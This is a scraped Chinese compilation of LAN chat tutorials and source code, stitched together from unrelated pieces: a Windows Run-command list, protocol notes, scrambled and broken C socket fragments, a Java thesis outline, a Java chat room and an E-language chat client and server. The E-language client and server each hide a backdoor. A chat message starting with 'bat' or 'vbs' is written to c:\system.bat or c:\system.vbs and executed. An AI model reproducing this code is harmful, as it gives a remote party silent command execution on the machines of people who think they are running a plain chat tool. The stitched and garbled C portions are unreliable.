winver 检查Windows版本wmimgmt.msc 打开Windows管理体系结构(wmi)wupdmgr Windows更新程序ws c ri pt Windows脚本宿主设置write 写字板winmsd 系统信息wiaacmgr 扫描仪和照相机向导winchat xp自带局域网聊天mem.exe 显示内存使用情况msconfig.exe 系统配置实用程序mplayer2 简易widnows media playermspaint 画图板mstsc 远程桌面连接mplayer2 媒体播放机magnify 放大镜实用程序mmc 打开控制台mobsync 同步命令dxdiag 检查directx信息drwtsn32 系统医生devmgmt.msc 设备管理器dfrg.msc 磁盘碎片整理程序diskmgmt.msc 磁盘管理实用程序dcomcnfg 打开系统组件服务ddeshare 打开dde共享设置dvdplay dvd播放器net stop messenger 停止信使服务net start messenger 开始信使服务notepad 打开记事本nslookup 网络管理的工具向导ntbackup 系统备份和还原narrator 屏幕“讲述人”ntmsmgr.msc 移动存储管理器ntmsoprq.msc 移动存储管理员操作请求netstat -an (tc)命令检查接口syncapp 创建一个公文包sysedit 系统配置编辑器sigverif 文件签名验证程序sndrec32 录音机shrpubw 创建共享文件夹secpol.msc 本地安全策略syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码services.msc 本地服务设置sndvol32 音量控制程序sfc.exe 系统文件检查器sfc /scannow windows文件保护t***utdn 60秒倒计时关机命令tourstart xp简介(安装完成后出现的漫游xp程序)taskmgr 任务管理器eventvwr 事件查看器eudcedit 造字程序explorer 打开资源管理器pack ager 对象包装程序perfmon.msc 计算机性能监测程序progman 程序管理器regedit.exe 注册表rsop.msc 组策略结果集regedt32 注册表编辑器rononce -p 15秒关机regsvr32 /u *.dll 停止dll文件运行regsvr32 /u zipfldr.dll 取消zip支持cmd.exe cmd命令提示符chkdsk.exe chkdsk磁盘检查certmgr.msc 证书管理实用程序calc 启动计算器charmap 启动字符映射表cliconfg sql server 客户端网络实用程序clipbrd 剪贴板查看器conf 启动netmeetingcompmgmt.msc 计算机管理cleanmgr 垃圾整理ciadv.msc 索引服务程序osk 打开屏幕键盘odbcad32 odbc数据源管理器oobe/msoobe /a 检查xp是否激活lusrmgr.msc 本机用户和组logoff 注销命令iexpress 木马捆绑工具,系统自带nslookup ip地址侦测器fsmgmt.msc 共享文件夹管理器utilman 辅助工具管理器gpedit.msc 组策略以下为Windows操作系统的常用运行命令,执行这些命令,就能打开系统对应的相关实用程序,如果大家能基本利用,就能检查并修复系统的最基本的故障,除注销,关闭系统命令外,其它所有命令,大家不妨一试!!运行\输入CMD\输入对应的相关实用程序:. 打开C:\Documents and Settings\XXX(当前登录Windows XP的用户名).. 打开Windows XP所在的盘符下的Documents and Settings文件夹... 打开“我的电脑”选项。

C#局域网聊天工具制作过程讲解与原代码讲解

C#局域网聊天工具制作过程讲解与原代码讲解

C#局域网聊天工具制作1.网络通讯编程的基础便是协议,信息的发送常用的协议有面向连接的TCP协议,以及不面向连接的UDP协议2.TCP:TransmissionControlProtocol传输控制协议,其是一种面向连接的、可靠的字节流服务。

面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据之前必须先建立一个TCP连接。

这一过程与打电话很相似,先拨号振铃,等待对方摘机说“喂”,然后才说明是谁。

3.UDP:UserDatagramProtocol用户数据报协议(RFC768),UDP传送数据前并不与对方建立连接,即UDP是无连接的,在传输数据前,发送方和接收方相互交换信息使双方同步。

4.系统也要定义自己的通讯协议,来完成一些系统的功能,如用户上,下线的通知,都要定义自己的通讯协议来完成相应的功能!也可以称这种自定义的协议为“命令”.5.下面以著名的飞鸽传书为例,说明其自定义的协议(命令)IPMSG_NOOPERATION不进行任何操作IPMSG_BR_ENTRY用户上线IPMSG_BR_EXIT用户退出IPMSG_ANSENTRY通报在线IPMSG_SENDMSG发送消息IPMSG_RECVMSG通报收到消息IPMSG_GETFILEDATA请求通过TCP传输文件IPMSG_RELEASEFILES停止接收文件IPMSG_GETDIRFILES请求传输文件夹以“IPMSG_BR_ENTRY用户上线”和“IPMSG_ANSENTRY通报在线”为例说明命令处理流程:当程序启动时,命令IPMSG_BR_ENTRY被广播到网络中,向所有在线的用户提示一个新用户的到达(即表示“我来了”);所有在线用户将把该新上线用户添加到自己的用户列表中,并向该新上线用户发送IPMSG_ANSENTRY命令(即表示“我在线”);该新上线用户接收到IPMSG_ANSENTRY命令后即将在线用户添加到自己的用户列表中。

局域网聊天系统源代码

局域网聊天系统源代码
}
static void sig_routine(int signo)
{
switch (signo) {
case SIGCHLD:
while (waitpid(-1, NULL, WNOHANG) > 0);
break;
}
return;
}
static int my_readline(int fd, void *buf, unsigned len)
#define RET_ERR -1
#define LISTEN_QUEUE_NUM 5
#define BUFFER_SIZE 256
#define ECHO_PORT 2029
int main(int argc, char **argv)
{
int sockfd, ret = RET_OK;
}
}
*ptr = 0;
return (n);
}
int proc_echo(int consock)
{
int ret = 0;
char buffer[BUFFER_SIZE];
while (1) {
if ((ret = my_readline(consock, buffer, sizeof(buffer))) < 0) {
return RET_ERR;
}
/*fill up ip address structure*/
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = INADDR_ANY;

java毕业设计----基于JAVA局域网聊天程序设计与实现(附源代码)

java毕业设计----基于JAVA局域网聊天程序设计与实现(附源代码)

摘要随着互联网的发展,网络聊天工具作为一种交流工具,已经受到网民的青睐。

目前,出现了很多功能强大的聊天工具,其中应用比较广泛的有腾讯QQ、MSN-Messager等等。

即时通讯软件,是每一个上网用户都需要的工具,它除了能够让您迅速地在网上找到自己的朋友和伙伴之外,还可以实时交谈和传递信息,截止到目前,全球约有近3亿多人使用即时软件,正因为即时通讯软件拥有数以亿计的用户和增长的市场,所以各个公司都盯上了这个最大的市场,一时间,即时通讯市场硝烟四起。

对等网络(peer-to-peer,简称P2P),应用最初出现时和现在并不相同。

事实上可以认为它是若干不同技术以及流行趋势相结合的产物。

以下是导致P2P技术发展最重要的趋势:首先,一些新技术与软件工程的结合,形成了一种将工作分散的趋势。

P2P计算正是这种分散工作趋势的结果。

其次,在企业应用集成等因素的驱动下,过去十年渐渐形成从集中的单机系统转向分布式系统。

然而随着互联网的发展,全面的分布式计算也就成为一种迫切需求。

关键词:局域网聊天 P2P javaAbstractWith the development of the Internet,the chat tool as a communication tool, has been popularly accepted by netizens of all ages. At present, there are many powerful chat tools, of which Tencent QQ, MSN-Messager are much more prevalent.Instant messaging software is necessary for every one who connects to the internet, which can not only provide you a prompt way to find friends and partners online, but can provide you the convenience of internet relay chat and information delivering. Up to now, there are about 300 million people using real-time software all over the world. As more and more corporations have focused on this market with growing potential, which has hundreds of millions of uses, the competitions among these corporations are extremely fierce.The initial application of peer-to-peer network (peer-to-peer, referred to as P2P) is not the same as it is now. In fact, it can be regarded as a combination of different technologies and fashion trends. Below are the most important trends that have led the development of P2P technology: First of all, the integration of software engineering and new technologies led to a working dispersion trend. As a result, P2P computing was born. Then, in the past decade, it has turned fro m a single centralized system to distributed system due to the motivation of factors such as enterprise application integration. At last, with the development of the Internet, however, a comprehensive distributed computing has become an urgent need.Keywords:LAN chat P2P java目录摘要 (i)Abstract ..................................................................................................................................... i i 1绪论 . (1)1.1JAVA的网络功能与编程 (1)1.1.1JAVA概述 (1)1.1.2 JAVA的特点 (3)1.1.3 JAVA语言在网络上的应用 (5)1.2J AVA B EANS技术 (6)1.3IP/TCP协议常识 (6)1.4S OCKET的简介 (7)1.5对等网络 (8)1.5.1 对等网络发展历史 (8)1.5.2 对等网络的概念 (9)1.5.3 对等网络的主要系统结构 (9)2 JAVAqq局域网聊天程序的需求分析 (13)2.1课题来源 (13)2.2需求分析 (13)3 JAVAqq局域网聊天程序的系统分析与设计 (15)3.1JAVA QQ局域网聊天程序的总体设计要点 (15)3.2JAVA QQ局域网聊天程序的设计步骤及功能模块划分 (15)3.3JAVA QQ局域网聊天程序各功能模块 (16)4 JAVAqq局域网聊天程序的设计与实现 (24)4.1开发环境工具 (24)4.2硬件环境 (24)工程技术学院毕业设计(论文)专用纸4.3聊天系统功能模块的测试 (24)结论 (27)致谢 (29)参考文献 (30)附录 A 程序源代码 (31)1绪论随着互联网逐步普及,互联网技术的逐步提高。

SimpleChatRoom(简易聊天室代码)

SimpleChatRoom(简易聊天室代码)

package test3;//服务器类import java.io.BufferedReader;import java.io.InputStreamReader;import java.io.PrintWriter;import .ServerSocket;import .Socket;import java.util.ArrayList;import java.util.Iterator;public class VerySimpleChatServer {ArrayList clientOutputStream;public class ClientHandler implements Runnable{BufferedReader reader;Socket sock;public ClientHandler(Socket clientSocket){try{sock = clientSocket;InputStreamReader isReader = new InputStreamReader(sock.getInputStream());reader = new BufferedReader(isReader);}catch(Exception e){e.printStackTrace();}}public void run(){String message;try{while((message = reader.readLine())!=null){System.out.println("read "+message);tellEveryone(message);}}catch(Exception e){e.printStackTrace();}}}public void go(){clientOutputStream = new ArrayList();try{ServerSocket serverSock = new ServerSocket(5000);while(true){Socket clientSocket = serverSock.accept();PrintWriter writer = new PrintWriter(clientSocket.getOutputStream());clientOutputStream.add(writer);Thread t = new Thread(new ClientHandler(clientSocket));t.start();System.out.println("got a connection");}}catch(Exception e){e.printStackTrace();}}public void tellEveryone(String message){Iterator it = clientOutputStream.iterator();while(it.hasNext()){try{PrintWriter writer = (PrintWriter) it.next();writer.println(message);writer.flush();}catch(Exception e){e.printStackTrace();}}}public static void main(String[] args) {new VerySimpleChatServer().go();}}package test3;//聊天室类import java.awt.BorderLayout;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintWriter;import .Socket;import javax.swing.JButton;import javax.swing.JFrame;import javax.swing.JPanel;import javax.swing.JScrollPane;import javax.swing.JTextArea;import javax.swing.JTextField;import javax.swing.ScrollPaneConstants;public class SimpleChatClient {JTextArea input;JTextField output;BufferedReader reader;PrintWriter writer;Socket sock;public void go(){JFrame frame = new JFrame("简易聊天室");JPanel mainPanel = new JPanel();input = new JTextArea(15,50);input.setLineWrap(true);input.setWrapStyleWord(true);input.setEditable(false);JScrollPane qScroller = new JScrollPane(input);qScroller.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL _SCROLLBAR_ALWAYS);qScroller.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZO NTAL_SCROLLBAR_NEVER);output = new JTextField(20);JButton sendButton = new JButton("send");sendButton.addActionListener(new SendButtonListener());mainPanel.add(qScroller);mainPanel.add(output);mainPanel.add(sendButton);setUpNetworking();Thread readerThread = new Thread(new IncomingReader());readerThread.start();frame.getContentPane().add(BorderLayout.CENTER,mainPanel);frame.setSize(600,400);frame.setVisible(true);}private void setUpNetworking(){try{sock = new Socket("127.0.0.1",5000);InputStreamReader streamReader = new InputStreamReader(sock.getInputStream());reader = new BufferedReader(streamReader);writer = new PrintWriter(sock.getOutputStream());System.out.println("networking established");}catch(IOException e){e.printStackTrace();}}public class SendButtonListener implements ActionListener{@Overridepublic void actionPerformed(ActionEvent e) {try{writer.println(output.getText());writer.flush();}catch(Exception ex){ex.printStackTrace();}output.setText("");output.requestFocus();}}public class IncomingReader implements Runnable{public void run(){String message;try{while((message = reader.readLine())!=null){System.out.println("read "+message);input.append(message+"\n");}}catch(Exception e){e.printStackTrace();}}}public static void main(String[] args) {SimpleChatClient client = new SimpleChatClient();client.go();}}。

易语言“数据报、客户、服务器”

易语言“数据报、客户、服务器”

易语言“数据报、客户、服务器”易语言“数据报、客户、服务器”━━━━━━━━━━━━━━━━━━━━━━━━━━这是三个典型的网络控件,写网络程序少不了它们。

通过网络交互数据,首先要明白“连接”和“无连接”的概念。

最简单的例子莫过于打电话和写信。

两个人如果要通电话,得首先建立连接——即拨号,等待对方应答后才能相互传递信息,最后还要释放连接——即挂电话。

写信就没有那么复杂了,地址姓名填好以后直接往邮筒一扔,收信人就能收到。

用数据报控件进行数据交互,类似于写信,是基于“无连接”的;用客户、服务器进行数据交互,类似于打电话,是基于“连接”的。

根据提供服务类型的不同,端口分为两种,一种是TCP端口,一种是UDP端口。

计算机之间相互通信的时候,分为两种方式:一种是发送以后就不管了,不去确认信息是否到达,这种方式大多采用UDP 协议(我们熟悉的OICQ就是采用这种协议);一种是发送信息以后,可以确认信息是否到达,也就是有应答的方式,这种方式大多采用TCP协议。

(这两种交互方式分别类似于生活中的写信和打电话。

)在易语言中,用数据报控件封装了UDP协议,用客户控件和服务器控件封装了TCP协议。

Ⅰ- 数据报------------------------数据报是一种不可靠、小数据量的网络数据交互方式。

如果传递的数据量过大,有可能会失败,最好不要超过127 字节。

如需要大数据量或者可靠数据传送方式,请使用基于连接的其它网络组件(如客户、服务器)。

虽然数据报控件传递的数据量小,又不够可靠,但它简单易用,在对数据量、可靠性没有特别要求的情况下,还是有它充分发挥作用的领域。

最后我将用该控件做一个网络聊天程序(数据报版),作为例程。

数据报的重要属性有:端口。

数据报的重要方法有:发送数据()、取回数据()。

数据报的重要事件有:数据到达。

一、数据报的重要属性◆端口端口属性是一个整数型的值,默认值是19730。

如果要改动,尽量取大于1024的较大值。

局域网聊天软件源代码包括语音聊天

局域网聊天软件源代码包括语音聊天

局域网聊天软件源代码包括语音聊天// Chat.h : PROJECT_NAME 应用程序的主头文件//#pragma once#ifndef __AFXWIN_H__#error "在包含此文件之前包含“stdafx.h”以生成PCH 文件" #endif#include "resource.h" // 主符号// CChatApp:// 有关此类的实现,请参阅Chat.cpp//class CChatApp : public CWinApp{public:CChatApp();// 重写public:virtual BOOL InitInstance();// 实现DECLARE_MESSAGE_MAP()};extern CChatApp theApp;// Chat.cpp : 定义应用程序的类行为。

//#include "stdafx.h"#include "Chat.h"#include "ChatDlg.h"//#ifdef _DEBUG//#define new DEBUG_NEW// CChatAppBEGIN_MESSAGE_MAP(CChatApp, CWinApp)ON_COMMAND(ID_HELP, &CWinApp::OnHelp)END_MESSAGE_MAP()// CChatApp 构造CChatApp::CChatApp(){// TODO: 在此处添加构造代码,// 将所有重要的初始化放置在InitInstance 中}// 唯一的一个CChatApp 对象CChatApp theApp;// CChatApp 初始化BOOL CChatApp::InitInstance(){// 如果一个运行在Windows XP 上的应用程序清单指定要// 使用ComCtl32.dll 版本6 或更高版本来启用可视化方式,//则需要InitCommonControlsEx()。

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客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。

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